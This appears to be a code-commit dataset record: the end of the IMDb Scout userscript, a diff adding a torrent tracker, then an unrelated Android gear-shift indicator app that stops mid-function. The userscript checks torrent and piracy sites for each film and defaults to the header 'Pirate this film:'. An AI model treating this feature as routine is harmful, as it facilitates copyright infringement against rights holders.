'searchUrl': 'https://thegeeks.click/browse.php?incldead=0&country=&nonboolean=1&search=%tt%',
'matchRegex': /Try again with a refined search string|<h1>You need cookies enabled to log in.<\/h1>/,
'both': true},
{ 'name': 'TO',
'searchUrl': 'https://theoccult.click/browse.php?incldead=0&country=&nonboolean=1&search=%tt%',
'matchRegex': /Try again with a refined search string|<h1>You need cookies enabled to log in.<\/h1>/,
'both': true},
{ 'name': 'TP',
'searchUrl': 'https://theplace.click/browse.php?incldead=0&country=&nonboolean=1&search=%tt%',
'matchRegex': /Try again with a refined search string|<h1>You need cookies enabled to log in.<\/h1>/,
'both': true},
{ 'name': 'TS',
'searchUrl': 'https://theshow.click/browse.php?incldead=0&country=&nonboolean=1&search=%tt%',
'matchRegex': /Try again with a refined search string|<h1>You need cookies enabled to log in.<\/h1>/,
'both': true},
{ 'name': 'THC',
'searchUrl': 'https://horrorcharnel.org/browse.php?search=%nott%&cat=0&incldead=1',
'matchRegex': /<h1>Not logged in!<\/h1>|<h2>Nothing found!<\/h2>/},
{ 'name': 'Tik',
'searchUrl': 'https://www.cinematik.net/browse.php?&cat=0&incldead=1&sort=1&type=asc&srchdtls=1&search=%tt%',
'matchRegex': /The page you tried to view can only be used when you're logged in|Nothing found!/},
{ 'name': 'TL',
'searchUrl': 'http://www.torrentleech.org/torrents/browse/index/query/%search_string%+%year%/categories/1,8,9,10,11,12,13,14,15,29',
'matchRegex': /Signup With Invite|Please refine your search./},
{ 'name': 'TL',
'searchUrl': 'http://www.torrentleech.org/torrents/browse/index/query/%search_string%/categories/2,26,27,32',
'matchRegex': /Signup With Invite|Please refine your search./,
'TV': true},
{ 'name': 'TPB',
'searchUrl': 'https://thepiratebay.org/search/%tt%',
'matchRegex': /No hits. Try adding an asterisk in you search phrase.<\/h2>/,
'both': true},
{ 'name': 'TTG',
'searchUrl': 'https://totheglory.im/browse.php?c=M&search_field=imdb%nott%',
'matchRegex': /Didn't match any titles/},
{ 'name': 'TVCK',
'searchUrl': 'https://www.tvchaosuk.com/browse.php?do=search&search_type=t_name&keywords=%search_string%',
'matchRegex': /<b>Nothing Found<\/b>/},
{ 'name': 'TVV',
'searchUrl': 'http://tv-vault.me/torrents.php?searchstr=%search_string%',
'matchRegex': /Nothing found<\/h2>/,
'TV': true},
{ 'name': 'UHDB',
'searchUrl': 'https://uhdbits.org/torrents.php?action=advanced&groupname=%tt%',
'matchRegex': /Your search did not match anything./},
{ 'name': 'x264',
'searchUrl': 'http://x264.me/browse.php?incldead=0&xtype=0&stype=3&search=%tt%',
'matchRegex': /Try again with a refined search string.|<h1>Forgot your password?<\/h1>/},
{ 'name': 'XS',
'searchUrl': 'https://www.xspeeds.eu/browse.php?do=search&keywords=%search_string%&search_type=t_name&category=0&include_dead_torrents=yes',
'matchRegex': /<b>Nothing Found<\/b>/}
];
var icon_sites = [
{ 'name': 'OpenSubtitles',
'searchUrl': 'http://www.opensubtitles.org/en/search/imdbid-%tt%'},
{ 'name': 'YouTube.com',
'searchUrl': 'https://www.youtube.com/results?search_query="%search_string%"+%year%+trailer'},
{ 'name': 'Rotten Tomatoes',
'searchUrl': 'https://www.rottentomatoes.com/search/?search=%search_string%'},
{ 'name': 'Criticker',
'searchUrl': 'https://www.criticker.com/?search=%search_string%&type=films'},
{ 'name': 'iCheckMovies',
'searchUrl': 'https://www.icheckmovies.com/search/movies/?query=%tt%'},
{ 'name': 'Letterboxd',
'searchUrl': 'http://letterboxd.com/imdb/%nott%'},
{ 'name': 'Subscene',
'icon': 'https://subscene.com/favicon.ico',
'searchUrl': 'https://subscene.com/subtitles/title?q=%search_string%'},
{ 'name': 'Wikipedia',
'searchUrl': 'https://en.wikipedia.org/w/index.php?search=%search_string%&go=Go'},
{ 'name': 'FilmAffinity',
'searchUrl': 'http://www.filmaffinity.com/en/advsearch.php?stext=%search_string%&stype[]=title&fromyear=%year%&toyear=%year%',
'showByDefault': false},
{ 'name': 'Metacritic',
'searchUrl': 'http://www.metacritic.com/search/all/%search_string%/results?cats[movie]=1&cats[tv]=1&search_type=advanced&sort=relevancy',
'showByDefault': false},
{ 'name': 'Can I Stream.It? (Movie)',
'searchUrl': 'http://www.canistream.it/search/movie/%search_string%',
'showByDefault': false},
{ 'name': 'Can I Stream.It? (TV)',
'searchUrl': 'http://www.canistream.it/search/tv/%search_string%',
'showByDefault': false},
{ 'name': 'AllMovie',
'searchUrl': 'http://www.allmovie.com/search/movies/%search_string%',
'showByDefault': false},
{ 'name': 'Facebook',
'searchUrl': 'https://www.facebook.com/search/str/%search_string%/keywords_pages',
'showByDefault': false},
{ 'name': 'Amazon',
'searchUrl': 'http://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Dmovies-tv&field-keywords=%search_string%',
'showByDefault': false},
{ 'name': 'Netflix',
'searchUrl': 'http://www.netflix.com/search/%search_string%',
'showByDefault': false},
{ 'name': 'Blu-ray.com',
'searchUrl': 'http://www.blu-ray.com/search/?quicksearch=1&quicksearch_country=all&quicksearch_keyword=%search_string%+§ion=bluraymovies',
'showByDefault': false},
{ 'name': 'trakt.tv',
'icon': 'https://walter.trakt.tv/hotlink-ok/public/favicon.ico',
'searchUrl': 'https://trakt.tv/search?query=%search_string%',
'showByDefault': false}
];
// For internal use (order matters)
var valid_states = [
'found',
'missing',
'logged_out',
'error'
];
function replaceSearchUrlParams(site, movie_id, movie_title) {
var search_url = site['searchUrl'];
// If an array, do a little bit of recursion
if ($.isArray(search_url)) {
var search_array = [];
$.each(search_url, function(index, url) {
search_array[index] = replaceSearchUrlParams(url, movie_id, movie_title);
});
return search_array;
}
var space_replace = ('spaceEncode' in site) ? site['spaceEncode'] : '+';
var search_string = movie_title.replace(/ +\(.*/, '').replace(/\s+/g, space_replace);
var movie_year = document.title.replace(/^(.+) \((.*)([0-9]{4})(.*)$/gi, '$3');
var s = search_url.replace(/%tt%/g, 'tt' + movie_id)
.replace(/%nott%/g, movie_id)
.replace(/%search_string%/g, search_string)
.replace(/%year%/g, movie_year);
return s;
}
function getPageSetting(key) {
return (onSearchPage ? GM_config.get(key + '_search') : GM_config.get(key + '_movie'));
}
// Small utility function to return a site's icon
function getFavicon(site, hide_on_err) {
if (typeof(hide_on_err) === 'undefined') { hide_on_err = false };
if ('icon' in site) {
var favicon = site['icon'];
} else {
var url = new URL(site['searchUrl']);
var favicon = url.origin + '\/favicon.ico';
}
var img = $('<img />').attr({'style': '-moz-opacity: 0.4; border: 0; vertical-align: text-top',
'width': '16',
'src': favicon,
'title': site['name'],
'alt': site['name']});
if (hide_on_err) { img.attr('onerror', "this.style.display='none';") };
return img;
}
// Adds search links to an element
// state should always be one of the values defined in valid_states
function addLink(elem, link_text, target, site, state) {
var link = $('<a />').attr('href', target).attr('target', '_blank');
if ($.inArray(state, valid_states) < 0) {
console.log("Unknown state " + state);
}
if (getPageSetting('use_icons')) {
var icon = getFavicon(site);
icon.css({'border-width': '3px', 'border-style': 'solid', 'border-radius': '2px'});
if (state == 'error' || state == 'logged_out') {
icon.css('border-color', 'red');
} else if (state == 'missing') {
icon.css('border-color', 'yellow');
} else {
icon.css('border-color', 'green');
}
link.append(icon);
} else {
if (state == 'missing' || state == 'error' || state == 'logged_out') {
link.append($('<s />').append(link_text));
} else {
link.append(link_text);
}
if (state == 'error' || state == 'logged_out') {
link.css('color', 'red');
}
}
if (!onSearchPage) {
$('#imdbscout_' + state).append(link).append(' ');
} else {
var result_box = $(elem).find('td.result_box');
if (result_box.length > 0) {
$(result_box).append(link);
} else {
$(elem).append($('<td />').append(link).addClass('result_box'));
}
}
}
// Performs an ajax request to determine
// whether or not a url should be displayed
function maybeAddLink(elem, link_text, search_url, site) {
// If the search URL is an array, recurse briefly on the elements.
if ($.isArray(search_url)) {
$.each(search_url, function(index, url) {
maybeAddLink(elem, link_text + '_' + (index + 1).toString(), url, site);
});
return;
}
var domain = search_url.split('/')[2];
var now = (new Date())*1;
var lastLoaded = window.localStorage[domain+'_lastLoaded'];
if (!lastLoaded) {
lastLoaded = now - 5000;
} else {
lastLoaded = parseInt(lastLoaded);
}
if (now-lastLoaded < 1000) {
window.setTimeout(maybeAddLink.bind(undefined, elem, site['name'], search_url, site), 1000);
return;
}
else
{
window.localStorage[domain+'_lastLoaded']=(new Date())*1;
}
var target = search_url;
if (site.goToUrl) {
target = site.goToUrl;
}
var success_match = ('positiveMatch' in site) ? site['positiveMatch'] : false;
GM_xmlhttpRequest({
method: 'GET',
url: search_url,
onload: function(response_details) {
if (String(response_details.responseText).match(site['matchRegex']) ? !(success_match) : success_match) {
if (getPageSetting('highlight_missing').split(',').includes(site['name'])) {
if (elem.style) {
elem.parentNode.style.background = 'rgba(255,104,104,0.7)';
} else {
document.querySelector('#imdbscout_missing').style.background = 'rgba(255,104,104,0.7)';
}
}
if (!getPageSetting('hide_missing')) {
addLink(elem, link_text, target, site, 'missing');
}
} else if (site['loggedOutRegex'] && String(response_details.responseText).match(site['loggedOutRegex'])) {
addLink(elem, link_text, target, site, 'logged_out');
} else {
addLink(elem, link_text, target, site, 'found');
}
},
onerror: function(response) {
addLink(elem, link_text, target, site, 'error');
},
onabort: function(response) {
addLink(elem, link_text, target, site, 'error');
}
});
}
// Run code to create fields and display sites
function perform(elem, movie_id, movie_title, is_tv, is_movie) {
var site_shown = false;
$.each(sites, function(index, site) {
if (site['show']) {
site_shown = true;
// If we're on a TV page, only show TV links.
if ((Boolean(site['TV']) == is_tv ||
Boolean(site['both'])) ||
(!is_tv && !is_movie) || getPageSetting('ignore_type')) {
searchUrl = replaceSearchUrlParams(site, movie_id, movie_title);
if (site.goToUrl)
site.goToUrl = replaceSearchUrlParams({
'searchUrl': site['goToUrl'],
'spaceEncode': ('spaceEncode' in site) ? site['spaceEncode'] : '+'
}, movie_id, movie_title);
if (getPageSetting('call_http')) {
maybeAddLink(elem, site['name'], searchUrl, site);
} else {
addLink(elem, site['name'], searchUrl, site, 'found');
}
}
}
});
if (!site_shown) {
$(elem).append('No sites enabled! You can change this via the Greasemonkey option "IMDb Scout Preferences".');
}
}
//------------------------------------------------------
// Button Code
//------------------------------------------------------
function displayButton() {
var p = $('<p />').attr('id', 'imdbscout_button');
p.append($('<button>Load IMDb Scout</button>').click(function() {
$('#imdbscout_button').remove();
if (onSearchPage) {
performSearch();
} else {
performPage();
}
}));
if (onSearchPage) {
$('#sidebar').append(p);
} else if ($('h1.header:first').length) {
$('h1.header:first').parent().append(p);
} else {
$('#title-overview-widget').parent().append(p);
}
}
//------------------------------------------------------
// Icons at top bar
//------------------------------------------------------
// Adds a dictionary of icons to the top of the page.
// Unlike the other URLs, they aren't checked to see if the movie exists.
function addIconBar(movie_id, movie_title) {
if ($('h1.header:first').length) {
var iconbar = $('h1.header:first').append($('<br/>'));
} else if ($('.title_wrapper h1')) {
var iconbar = $('.title_wrapper h1').append($('<br/>'));
} else {
var iconbar = $('#tn15title .title-extra');
}
$.each(icon_sites, function(index, site) {
if (site['show']) {
var search_url = replaceSearchUrlParams(site, movie_id, movie_title);
var image = getFavicon(site);
var html = $('<span />').append(" ").attr('style', 'font-size: 11px;').append(
$('<a />').attr('href', search_url)
.addClass('iconbar_icon').append(image));
iconbar.append(html).append();
}
});
//If we have access to the openInTab function, add an Open All feature
if (GM_openInTab) {
var aopenall = $('<a />').text('Open All')
.prepend(" ")
.attr('href', 'javascript:;')
.attr('style', 'font-weight:bold;font-size:11px;font-family: Calibri, Verdana, Arial, Helvetica, sans-serif;');
aopenall.click(function() {
$('.iconbar_icon').each(function() {
GM_openInTab($(this).attr('href'));
});
}, false);
iconbar.append(aopenall);
}
}
//------------------------------------------------------
// Search page code
//------------------------------------------------------
function performSearch() {
//Add css for the new table cells we're going to add
var styles = '.result_box {width: 335px}';
styles += ' .result_box a { margin-right: 5px; color: #444;} ';
styles += ' .result_box a:visited { color: #551A8B; }';
styles += ' #content-2-wide #main, #content-2-wide';
styles += ' .maindetails_center {margin-left: 5px; width: 1001px;} ';
GM_addStyle(styles);
if($('div#main table.results tr.detailed').length !== 0) {
//Loop through each result row
$('div#main table.results tr.detailed').each(function() {
var link = $(this).find('.title>a');
var is_tv = Boolean($(this).find('.year_type').html()
.match('TV Series'));
var is_movie = Boolean($(this).find('.year_type').html()
.match(/\(([0-9]*)\)/));
var movie_title = link.html();
var movie_id = link.attr('href').match(/tt([0-9]*)\/?$/)[1];
$(this).find('span.genre a').each(function() {
if ($(this).html() == 'Adult') {
$(this).parent().parent().parent()
.css('background-color', 'red');
}
});
perform($(this), movie_id, movie_title, is_tv, is_movie);
});
} else {
// Chameleon code, in a different style
var titleDivs = document.getElementsByClassName('col-title');
var compact = true;
if(titleDivs.length === 0)
{
titleDivs=document.getElementsByClassName('lister-item-header');
compact=false;
}
for(var i=0; i<titleDivs.length; i++)
{
var t = titleDivs[i];
var link = t.getElementsByTagName('a')[0];
var is_tv = link.nextElementSibling.textContent.indexOf('-')!==-1;
var is_movie = !is_tv;
var movie_title = link.textContent;
var movie_id = link.href.split("/title/tt")[1].split("/")[0];
var elem = t.parentNode.parentNode;
if(!compact)
elem = t.parentNode;
perform(elem, movie_id, movie_title, is_tv, is_movie);
}
}
}
//------------------------------------------------------
// TV/movie page code
//------------------------------------------------------
function performPage() {
var movie_title = $('title').text().match(/^(.*?) \(/)[1];
var movie_id = document.URL.match(/\/tt([0-9]+)\//)[1].trim('tt');
var is_tv_page = Boolean($('title').text().match('TV Series')) ||
Boolean($('.tv-extra').length);
var is_movie_page = Boolean($('title').text().match(/.*? \(([0-9]*)\)/));
//Create area to put links in
perform(getLinkArea(), movie_id, movie_title,
is_tv_page, is_movie_page);
addIconBar(movie_id, movie_title);
}
//------------------------------------------------------
// Find/create elements
//------------------------------------------------------
function getLinkArea() {
// If it already exists, just return it
if ($('#imdbscout_header').length) {
return $('#imdbscout_header');
}
var p = $('<p />').append('<h2>' + GM_config.get('imdbscout_header_text') + '</h2>').attr('id', 'imdbscout_header').css({
'padding': '0px 20px',
'font-weight': 'bold'
});
$.each(valid_states, function(i, name) {
if (GM_config.get('one_line')) {
p.append($('<span />').attr('id', 'imdbscout_' + name));
} else {
var title = $('<span>' + name.replace('_', ' ') + ': </span>').css({
'textTransform': 'capitalize',
'min-width': '100px',
'display': 'inline-block'
});
p.append($('<div />').attr('id', 'imdbscout_' + name).append(title));
}
});
if ($('h1.header:first').length) {
$('h1.header:first').parent().append(p);
} else if ($('#title-overview-widget').length) {
$('#title-overview-widget').parent().append(p);
} else if ($('.titlereference-header').length) {
$('.titlereference-header').append(p);
} else {
$('#tn15rating').before(p);
}
return $('#imdbscout_header');
}
//------------------------------------------------------
// Create the config name
//------------------------------------------------------
function configName(site) {
if ('configName' in site) {
return 'show_' + site['configName'] + (site['TV'] ? '_TV' : '');
} else {
return 'show_' + site['name'] + (site['TV'] ? '_TV' : '');
}
}
//------------------------------------------------------
// Code being run (main)
//------------------------------------------------------
// Get everything configured
// Create the non-site dictionary for GM_config
var config_fields = {
'imdbscout_header_text': {
'label': 'Header text:',
'type': 'text',
'default': 'Pirate this film: '
},
'call_http_movie': {
'section': 'Movie Page:',
'type': 'checkbox',
'label': 'Actually check for torrents?',
'default': true
},
'load_on_start_movie': {
'type': 'checkbox',
'label': 'Load on start?',
'default': true
},
'hide_missing_movie': {
'type': 'checkbox',
'label': 'Hide missing links?',
'default': false
},
'use_icons_movie': {
'type': 'checkbox',
'label': 'Use icons instead of text?',
'default': false
},
'one_line': {
'type': 'checkbox',
'label': 'Show results on one line?',
'default': true
},
'ignore_type_movie': {
'type': 'checkbox',
'label': 'Search all sites, ignoring movie/tv distinction?',
'default': false
},
'highlight_missing_movie': {
'label': 'Highlight when not on:',
'type': 'text',
'default': ''
},
'call_http_search': {
'section': 'Search Page:',
'type': 'checkbox',
'label': 'Actually check for torrents?',
'default': true
},
'load_on_start_search': {
'type': 'checkbox',
'label': 'Load on start?',
'default': true
},
'hide_missing_search': {
'type': 'checkbox',
'label': 'Hide missing links?',
'default': false
},
'use_icons_search': {
'type': 'checkbox',
'label': 'Use icons instead of text?',
'default': false
},
'ignore_type_search': {
'type': 'checkbox',
'label': 'Search all sites, ignoring movie/tv distinction?',
'default': false
},
'highlight_missing_search': {
'label': 'Highlight when not on:',
'type': 'text',
'default': ''
}
};
// Add each site to a GM_config dictionary schema
// The GM_config default for checkboxes is false
$.each(sites, function(index, site) {
config_fields[configName(site)] = {
'section': (index == 0) ? ['Torrents:'] : '',
'type': 'checkbox',
'label': ' ' + site['name'] + (site['TV'] ? ' (TV)' : '')
};
});
// Icon sites should be shown by default though,
// since they barely use any resources.
$.each(icon_sites, function(index, icon_site) {
config_fields['show_icon_' + icon_site['name']] = {
'section': (index == 0) ? ['Other sites:'] : '',
'type': 'checkbox',
'label': ' ' + icon_site['name'],
'default': ('showByDefault' in icon_site) ?
icon_site['showByDefault'] : true
};
});
// Initialize and register GM_config
GM_config.init({
'id': 'imdb_scout',
'title': 'IMDb Scout Preferences',
'fields': config_fields,
'css': '.section_header { \
background: white !important; \
color: black !important; \
border: 0px !important; \
text-align: left !important;} \
.field_label { \
font-weight: normal !important;}',
'events':
{
'open': function() {
$('#imdb_scout').contents().find('#imdb_scout_section_2').find('.field_label').each(function(index, label) {
url = new URL(sites[index].searchUrl);
$(label).append(' ' + '<a class="grey_link" target="_blank" style="color: gray; text-decoration : none" href="' + url.origin + '">'
+ (/www./.test(url.hostname) ? url.hostname.match(/www.(.*)/)[1] : url.hostname) + '</a>');
$(label).prepend(getFavicon(sites[index], true));
});
$('#imdb_scout').contents().find('#imdb_scout_section_3').find('.field_label').each(function(index, label) {
$(label).prepend(getFavicon(icon_sites[index], true));
});
}
}
});
GM_registerMenuCommand('IMDb Scout Preferences', function() {GM_config.open()});
// Fetch per-site values from GM_config
$.each(sites, function(index, site) {
site['show'] = GM_config.get(configName(site));
});
$.each(icon_sites, function(index, icon_site) {
icon_site['show'] = GM_config.get('show_icon_' + icon_site['name']);
});
// Are we on a search page?
// This variable is camelCased to show it's global
// Hopefully it can be factored out of the global scope in the future
var onSearchPage = Boolean(location.href.match('search'));
$('title').ready(function() {
if (!onSearchPage && GM_config.get('load_on_start_movie')) {
performPage();
} else if (onSearchPage && GM_config.get('load_on_start_search')) {
performSearch();
} else {
displayButton();
}
});
| Add SP
Closes #14
| IMDb_Scout.user.js | Add SP | <ide><path>MDb_Scout.user.js
<ide> // @require https://greasyfork.org/libraries/GM_config/20131122/GM_config.js
<ide> // @require http://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js
<ide> //
<del>// @version 4.8.0
<add>// @version 4.8.1
<ide> // @include http*://*.imdb.tld/title/tt*
<ide> // @include http*://*.imdb.tld/search/title*
<ide> // @include http*://*.imdb.com/title/tt*
<ide> - Rip out all site-specific code
<ide> - Fix up minor code smells
<ide> - Allow config name to be different from site name
<add>
<add>4.8.1 - Add SP
<ide> --------------------------------------------------------*/
<ide>
<ide> if (window.top != window.self) // Don't run on frames or iframes
<ide> { 'name': 'SM',
<ide> 'searchUrl': 'https://surrealmoviez.info/search.php?stext=%tt%',
<ide> 'matchRegex': /0 Movies found matching search criteria|You need to be logged in to view this page/},
<add> { 'name': 'SP',
<add> 'searchUrl': 'http://www.scenepalace.info/browse.php?search=%nott%&cat=0&incldead=1',
<add> 'matchRegex': /<h1>Not logged in!<\/h1>|<h2>Nothing found!<\/h2>/,
<add> 'both': true},
<ide> { 'name': 'TBD',
<ide> 'icon': 'https://1.bp.blogspot.com/-F2JeKtPCJYI/VgjpVxwMO4I/AAAAAAAAADg/VyNyp-yW9Ac/s1600/TBD.ico',
<ide> 'searchUrl': 'http://www.torrentbd.com/torrent/torrents-search.php?search=%search_string%', |
|
Java | bsd-3-clause | 5d8e7f7839839a5c0511537cb5586ed0f21c69ab | 0 | openxc/shiftknob-android | package com.example.shiftindicator;
import java.util.Date;
import jp.ksksue.driver.serial.FTDriver;
import com.openxc.VehicleManager;
import com.openxc.measurements.AcceleratorPedalPosition;
import com.openxc.measurements.EngineSpeed;
import com.openxc.measurements.Measurement;
import com.openxc.measurements.UnrecognizedMeasurementTypeException;
import com.openxc.measurements.VehicleSpeed;
import com.openxc.remote.VehicleServiceException;
import android.media.MediaPlayer;
import android.os.Bundle;
import android.os.IBinder;
import android.preference.PreferenceManager;
import android.app.Activity;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.ServiceConnection;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.graphics.Color;
import android.hardware.usb.UsbDevice;
import android.hardware.usb.UsbDeviceConnection;
import android.hardware.usb.UsbEndpoint;
import android.hardware.usb.UsbInterface;
import android.hardware.usb.UsbManager;
import android.util.Log;
import android.view.Menu;
import android.view.MenuInflater;
import android.view.MenuItem;
import android.view.View;
import android.widget.CompoundButton;
import android.widget.CompoundButton.OnCheckedChangeListener;
import android.widget.SeekBar;
import android.widget.SeekBar.OnSeekBarChangeListener;
import android.widget.Switch;
import android.widget.TextView;
public class MainActivity extends Activity {
private static String TAG = "ShiftIndicator";
private VehicleManager mVehicleManager;
private boolean mIsBound;
private SharedPreferences sharedPrefs;
private MediaPlayer mediaPlayer;
//USB setup:
public static final String ACTION_USB_PERMISSION =
"com.ford.openxc.USB_PERMISSION";
static boolean mSerialStarted = false;
static FTDriver mSerialPort = null;
private PendingIntent mPermissionIntent;
UsbManager mUsbManager = null;
UsbDevice mGaugeDevice = null;
UsbDeviceConnection mGaugeConnection = null;
UsbEndpoint mEndpointIn = null;
UsbEndpoint mEndpointOut = null;
UsbInterface mGaugeInterface = null;
private TextView mVehicleSpeedView;
private TextView mEngineSpeedView;
private TextView mShiftIndicator;
private TextView mShiftCalc;
private TextView mPedalView;
private TextView mGearPosition;
private Switch mPowerSwitch;
private boolean power_status = true;
private SeekBar mLEDbar;
private View mLayout;
private int engine_speed;
private double vehicle_speed;
private double pedal_pos;
private long shiftTime;
private int currentGear;
boolean justShifted;
int next_ratio=1;
////* VEHICLE SPECIFIC DATA *////
// FIGO RATIOS rpm/speed
// private int[] gearRatios = {
// 0, // Neutral
// 140, // 1st
// 75, // 2nd
// 50, // 3rd
// 37, // 4th
// 30, // 5th
// };
// private double base_pedal_position = 15.0;
// private int min_rpm = 1300;
// Mustang GT RATIOS rpm/speed
// private int[] gearRatios = {
// 0, // Neutral
// 100, // 1st
// 66, // 2nd
// 46, // 3rd
// 35, // 4th
// 27, // 5th
// 18 // 6th
// };
// private double base_pedal_position = 10.0;
// private int min_rpm = 1600;
// Focus ST RATIOS rpm/speed:
private int[] gearRatios = {
0, // Neutral
114, // 1st
69, // 2nd
46, // 3rd
36, // 4th
28, // 5th
23 // 6th
};
private double base_pedal_position = 15.0;
private int min_rpm = 1300;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Log.i(TAG, "Shift Indicator created");
sharedPrefs = PreferenceManager.getDefaultSharedPreferences(this);
mediaPlayer = MediaPlayer.create(this, R.raw.chime);
Intent intent = new Intent(this, VehicleManager.class);
bindService(intent, mConnection, Context.BIND_AUTO_CREATE);
mVehicleSpeedView = (TextView) findViewById(R.id.vehicle_speed);
mEngineSpeedView = (TextView) findViewById(R.id.engine_speed);
mShiftIndicator = (TextView) findViewById(R.id.shift_indicator);
mShiftCalc = (TextView) findViewById(R.id.shift_calculated);
mPedalView = (TextView) findViewById(R.id.pedal_position);
mGearPosition = (TextView) findViewById(R.id.gear_position);
mLayout = findViewById(R.id.layout);
mLayout.setBackgroundColor(Color.BLACK);
mLEDbar = (SeekBar) findViewById(R.id.led_bar);
mLEDbar.setOnSeekBarChangeListener(new OnSeekBarChangeListener() {
public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
send2Arduino("color", progress*255/100);
}
public void onStartTrackingTouch(SeekBar seekBar) {
}
public void onStopTrackingTouch(SeekBar seekBar) {
}
});
mPowerSwitch = (Switch) findViewById(R.id.power_switch);
mPowerSwitch.setChecked(true);
mPowerSwitch.setOnCheckedChangeListener(new OnCheckedChangeListener() {
public void onCheckedChanged(CompoundButton buttonView,
boolean isChecked) {
power_status = isChecked;
}
});
mUsbManager = (UsbManager) getSystemService(Context.USB_SERVICE);
mPermissionIntent = PendingIntent.getBroadcast(this, 0,
new Intent(ACTION_USB_PERMISSION), 0);
IntentFilter filter = new IntentFilter(ACTION_USB_PERMISSION);
this.registerReceiver(mBroadcastReceiver, filter);
if(mSerialPort == null){
mSerialPort = new FTDriver(mUsbManager);
mSerialPort.setPermissionIntent(mPermissionIntent);
mSerialStarted = mSerialPort.begin(115200);
if (!mSerialStarted)
{
Log.d(TAG, "mSerialPort.begin() failed.");
} else{
Log.d(TAG, "mSerialPort.begin() success!.");
send2Arduino("gear", 0);
}
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
MenuInflater inflater = getMenuInflater();
inflater.inflate(R.menu.settings, menu);
return super.onCreateOptionsMenu(menu);
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
Log.i(TAG, "Option Selected "+item.getItemId());
switch (item.getItemId()) {
case R.id.settings:
startActivity(new Intent(this, SettingsActivity.class));
break;
case R.id.close:
System.exit(0);
break;
}
return super.onOptionsItemSelected(item);
}
private ServiceConnection mConnection = new ServiceConnection() {
// Called when the connection with the service is established
public void onServiceConnected(ComponentName className,
IBinder service) {
Log.i(TAG, "Bound to VehicleManager");
mVehicleManager = ((VehicleManager.VehicleBinder)service).getService();
try {
mVehicleManager.addListener(VehicleSpeed.class, mSpeedListener);
mVehicleManager.addListener(EngineSpeed.class, mEngineListener);
mVehicleManager.addListener(AcceleratorPedalPosition.class, mPedalListener);
mVehicleManager.addListener(ShiftRecommendation.class, mShiftRecommendation);
} catch(VehicleServiceException e) {
Log.w(TAG, "Couldn't add listeners for measurements", e);
} catch(UnrecognizedMeasurementTypeException e) {
Log.w(TAG, "Couldn't add listeners for measurements", e);
}
}
// Called when the connection with the service disconnects unexpectedly
public void onServiceDisconnected(ComponentName className) {
Log.w(TAG, "VehicleService disconnected unexpectedly");
mVehicleManager = null;
mIsBound = false;
}
};
VehicleSpeed.Listener mSpeedListener = new VehicleSpeed.Listener() {
public void receive(Measurement measurement) {
final VehicleSpeed updated_value = (VehicleSpeed) measurement;
vehicle_speed = updated_value.getValue().doubleValue();
MainActivity.this.runOnUiThread(new Runnable() {
public void run() {
// send vehicle speed with 1 decimal point
mVehicleSpeedView.setText(""+Math.round(vehicle_speed*10)/10);
}
});
}
};
EngineSpeed.Listener mEngineListener = new EngineSpeed.Listener() {
public void receive(Measurement measurement) {
final EngineSpeed updated_value = (EngineSpeed) measurement;
engine_speed = updated_value.getValue().intValue();
MainActivity.this.runOnUiThread(new Runnable() {
public void run() {
mEngineSpeedView.setText(""+engine_speed);
}
});
shiftCalculation();
}
};
AcceleratorPedalPosition.Listener mPedalListener = new AcceleratorPedalPosition.Listener() {
public void receive(Measurement measurement) {
final AcceleratorPedalPosition updated_value = (AcceleratorPedalPosition) measurement;
pedal_pos = updated_value.getValue().doubleValue();
MainActivity.this.runOnUiThread(new Runnable() {
public void run() {
mPedalView.setText(""+(int)pedal_pos);
}
});
}
};
ShiftRecommendation.Listener mShiftRecommendation = new ShiftRecommendation.Listener() {
public void receive(Measurement measurement) {
final ShiftRecommendation updated_value = (ShiftRecommendation) measurement;
if (updated_value.getValue().booleanValue() == true && power_status) {
shift();
}
else {
cancelShift(shiftTime+600);
}
}
};
/* shiftCalculation is the main function of this class. In the event
* that a vehicle is not equipped with a built-in "ShiftRecommendation"
* signal on CAN, this function will calculate the upshift point locally.
* The gear position and shift point are then sent to the shift knob.
*/
public void shiftCalculation() {
/* GEAR POSITION CALCULATION:
* First calculate gear based on ratio of rpm to speed.
* The for loop compares known gear ratios with the
* calculated ratio.
*/
if(vehicle_speed==0) vehicle_speed = 1;
double ratio = engine_speed/vehicle_speed;
long currentTime = new Date().getTime();
for (int i = 1; i < gearRatios.length; i++) {
if (gearRatios[i]*.9 < ratio && gearRatios[i]*1.1 > ratio) {
if (next_ratio != gearRatios[i]) justShifted = false;
next_ratio=gearRatios[i];
updateGear(i);
break;
}
if (i == gearRatios.length-1) {
//if the loop gets to here, then the vehicle is thought to be in Neutral
justShifted = false;
updateGear(0);
cancelShift(currentTime);
return;
}
}
if (!power_status) return;
/* SHIFT CALCULATION:
* The upshift signal is based on throttle position and the rpm
* of the engine in the NEXT gear. The higher the throttle position,
* the higher the rpm in the next gear (quick acceleration).
*
* First, if the pedal position is less than 10, then the driver is
* probably shifting or slowing down, so no shift signal is needed.
*/
if (pedal_pos < 10) {
cancelShift(currentTime);
return;
}
/* If the pedal position is above the minimum threshold, then the driver
* is thought to be holding a constant speed or accelerating and thus
* the shift signal point should be calculated.
*
* Values A, B, and C of the algorithm below must be optimized for each
* specific vehicle.
*
* next_rpm = A*(pedal_pos)*(pedal_pos)-B*(pedal_pos)+C TEMPLATE
*
* If the calculated next_rpm is less than rpm the vehicle would be if shifted
* to the next gear, the shift signal is sent to the shift knob.
*/
double next_rpm;
if (pedal_pos >= base_pedal_position){
// next_rpm = 1.3*(pedal_pos)*(pedal_pos)-20*pedal_pos+1680; //GT Mustang
next_rpm = 1.2*(pedal_pos)*(pedal_pos)-30*pedal_pos+1300; //Figo/Focus
}
else next_rpm=min_rpm;
if (next_rpm < vehicle_speed*next_ratio){
if (!justShifted){
shift();
}
cancelShift(currentTime);
}
else cancelShift(currentTime);
}
/* updateGear takes the calculated gear position and sends that value
* to the shift knob. The gear position is enclosed in '<' ___ '>'
*/
private void updateGear(final int g) {
MainActivity.this.runOnUiThread(new Runnable() {
public void run() {
